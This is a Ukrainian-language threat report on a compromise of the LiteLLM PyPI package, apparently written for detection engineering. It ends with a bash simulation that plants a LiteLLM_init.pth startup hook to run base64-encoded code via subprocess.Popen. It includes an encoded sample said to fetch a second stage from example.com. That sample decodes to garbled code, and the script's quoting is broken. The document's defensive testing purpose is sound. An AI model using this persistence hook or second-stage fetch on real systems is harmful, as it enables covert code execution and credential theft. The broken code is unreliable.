Ваш AI шлюз був бекдором: всередині скомпрометованого ланцюжка поставок LiteLLM

Резюме

Злом ланцюга поставок вразив широко використовувані пакет Python LiteLLM на PyPI. Зловмисні випуски 1.82.7 і 1.82.8 передавали трьохетапний навантаження, розроблене для крадіжки облікових даних хмари, SSH-ключів і секретів Kubernetes, далі проникавши всередину кластерів і встановлюючи постійний бекдор. Діяльність приписується злочинній групі TeamPCP і, здається, пов’язана з попередніми компрометаціями, що стосуються інструментів безпеки, включаючи Trivy і Checkmarx.

Розслідування

Слідчі пов’язали ланцюг зламу з компрометованим Trivy GitHub Action, який розголосив персональний токен доступу, що дозволило здійснити примусовий поштовх заражених версій LiteLLM до PyPI. Перевірка коду виявила багатошаровий завантажувач Python з великою кількістю Base64, який використовував RSA-4096 і AES-256 для захищеного етапування і передачі на домени, контрольовані атакуючим. Завантаження також створило Kubernetes-поди для доступу до файлової системи хоста і розширення збирання. Повторне використання інфраструктури на PyPI, npm, Docker Hub, GitHub Actions і OpenVSX вказувало на скоординовану, багатосистемну кампанію, а не ізольоване захоплення пакета.

Смягчення

Блокуйте виявлені шкідливі домени, замініть будь-які потенційно розголошені облікові дані та видаліть артефакти LiteLLM_init.pth. Полюйте на персистентність через системний блок sysmon.service systemd для користувачів і розслідуйте несподіване створення файлів .pth. Зменшіть вплив ланцюга поставок, забезпечуючи верифіковані установки хешем, обмежуючи або забороняючи неперевірені поведінки після установки, та застосовуючи обмеження виходу. Де можливо, додайте моніторинг відбитків пальців JARM, щоб виявляти трафік, пов’язаний з відомими ASN з захищеними хостами.

Реакція

Якщо є підозра на злом, ізолюйте уражені системи, завершіть шкідливі процеси Python і видаліть троянізовані пакети LiteLLM разом з будь-якими файлами персистентності. Негайно замініть усі зібрані секрети, віддаючи пріоритет обліковим даним хмари та LLM ключам API. Розгорніть виявлення ланцюгів виконання, закодованих в Base64 на Python, збросів файлів .pth і аномальної діяльності HTTPS POST до models.litellm.cloud або checkmarx.zone.

Ключові слова: LiteLLM, атака на ланцюг поставок, PyPI, TeamPCP, Trivy, Checkmarx, GitHub Actions, секрети Kubernetes, персистентність .pth, викрадення облікових даних, RSA-4096, AES-256, фільтрація виходу, відбитки пальців JARM.

Імітація виконання

Умова: Телеметрія та перевірка базової лінії до польоту повинні були пройти.

Обгрунтування: Цей розділ детально описує точне виконання техніки противника (TTP), розробленої для ініціювання правила виявлення. Команди та наратив на ПОВИННІ безпосередньо відображати ідентифіковані TTP і прагнути досягти точного рівня телеметрії, очікуваного логікою виявлення. Абстрактні або непов’язані приклади приведуть до помилкового діагнозу.

• Опис атаки та команди:
  Атакуючий, який зламав громадський LiteLLM пакет PyPI, інжектує зловмисний .pth файл з назвою LiteLLM_init.pth. Файл розташований в глобальному каталозі site‑packages, що дозволяє обробляти його кожного разу, коли any інтерпретатор Python стартує. The .pth містить всього один рядок, який виконує закодоване в base64 навантаження за допомогою subprocess.Popen. Навантаження завантажує інструмент другого етапу з C2 сервера через HTTPS (T1071.001) і записує вкрадені кредити до /tmp/creds.txt (T1552.*). Використовуючи хук запуску інтерпретатора, атакуючий досягає персистентності без модифікації системних одиниць systemd, уникаючи багатьох традиційних підходів до виявлення.

  Симульовані етапи:

  1. Створіть шкідливий .pth файл з вбудованим кодом Python.
  2. Ініціюйте запуск інтерпретатора Python (наприклад, python3 -c "import sys"), викликаючи .pth на виконання.
  3. Вбудований код декодує навантаження base64 і запускає його за допомогою subprocess.Popen, генеруючи процес, чия командна лінія містить і LiteLLM_init.pth (з шляху імпорту інтерпретатора) і subprocess.Popen.

• Тестовий скрипт регресії:
  Скрипт нижче автоматизує всю симуляцію атаки на тестовому хості Ubuntu.

  #!/usr/bin/env bash
  set -euo pipefail
  
  # ---------- 1. Створіть зловмисне навантаження .pth ----------
  MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth"
  PAYLOAD_B64="aW1wb3J0IHN1YnByb2Nlc3MsIGJhc2U2NApzb3VyY2U9J2h0dHBzOi8vZXhhbXBsZS5jb20vc2Vjb25kX3N0YWdlLnB5JwoKc3VicHJvY2Vzcy5Qb3BlbihuYW1lPXNvdXJjZSwgc2hlbGxfcGF0aD0iL2Jpbj9jaG93IiwgY2xhc3M9ZnVuY3Rpb24oKSB7fSlzc2V0ZXJ0JkNsb3JlZChzc2V0KX0p"
  # Вищенаведене декодується у невеликий скрипт на Python, який завантажує вантаж другого етапу.
  # Для безпеки в тестовому середовищі ми замінюємо його на нешкідливу команду echo.
  PAYLOAD_B64=$(echo -n "import subprocess,base64; subprocess.Popen(['bash','-c','echo malicious executed >> /tmp/malicious.log'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)" | base64 -w0)
  
  # Записуємо файл .pth – рядок виконується як Python код під час завантаження інтерпретатора
  echo "exec('import base64, subprocess; subprocess.Popen(base64.b64decode("${PAYLOAD_B64}"), shell=True)')" | sudo tee "${MALICIOUS_PTH_PATH}" >/dev/null
  
  echo "[+] Зловмисний .pth файл створений за адресою ${MALICIOUS_PTH_PATH}"
  
  # ---------- 2. Викличте завантаження інтерпретатора (генерує телеметрію) ----------
  echo "[+] Виклик інтерпретатора Python для завантаження .pth..."
  python3 -c "import sys; print('виклик')"
  
  # ---------- 3. Перевірте, що навантаження виконано ----------
  if grep -q "malicious executed" /tmp/malicious.log; then
    echo "[+] Навантаження виконалося успішно – детекція повинна спрацювати."
  else
    echo "[-] Навантаження НЕ виконалося – перевірте розташування .pth и права доступу."
  fi

• Команди очищення:

  #!/usr/bin/env bash
  set -euo pipefail
  
  MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth"
  
  # Видаліть зловмисний файл .pth
  if sudo test -f "${MALICIOUS_PTH_PATH}"; then
      sudo rm -f "${MALICIOUS_PTH_PATH}"
      echo "[+] Видалено зловмисний файл .pth."
  fi
  
  # Видаліть файл доказів, створений навантаженням
  if test -f "/tmp/malicious.log"; then
      sudo rm -f "/tmp/malicious.log"
      echo "[+] Очищено /tmp/malicious.log."
  fi
  
  # За бажанням видаліть правило аудиту (якщо додали спеціальне тестове правило)
  # sudo auditctl -d always,exit -F arch=b64 -S execve -k process_creation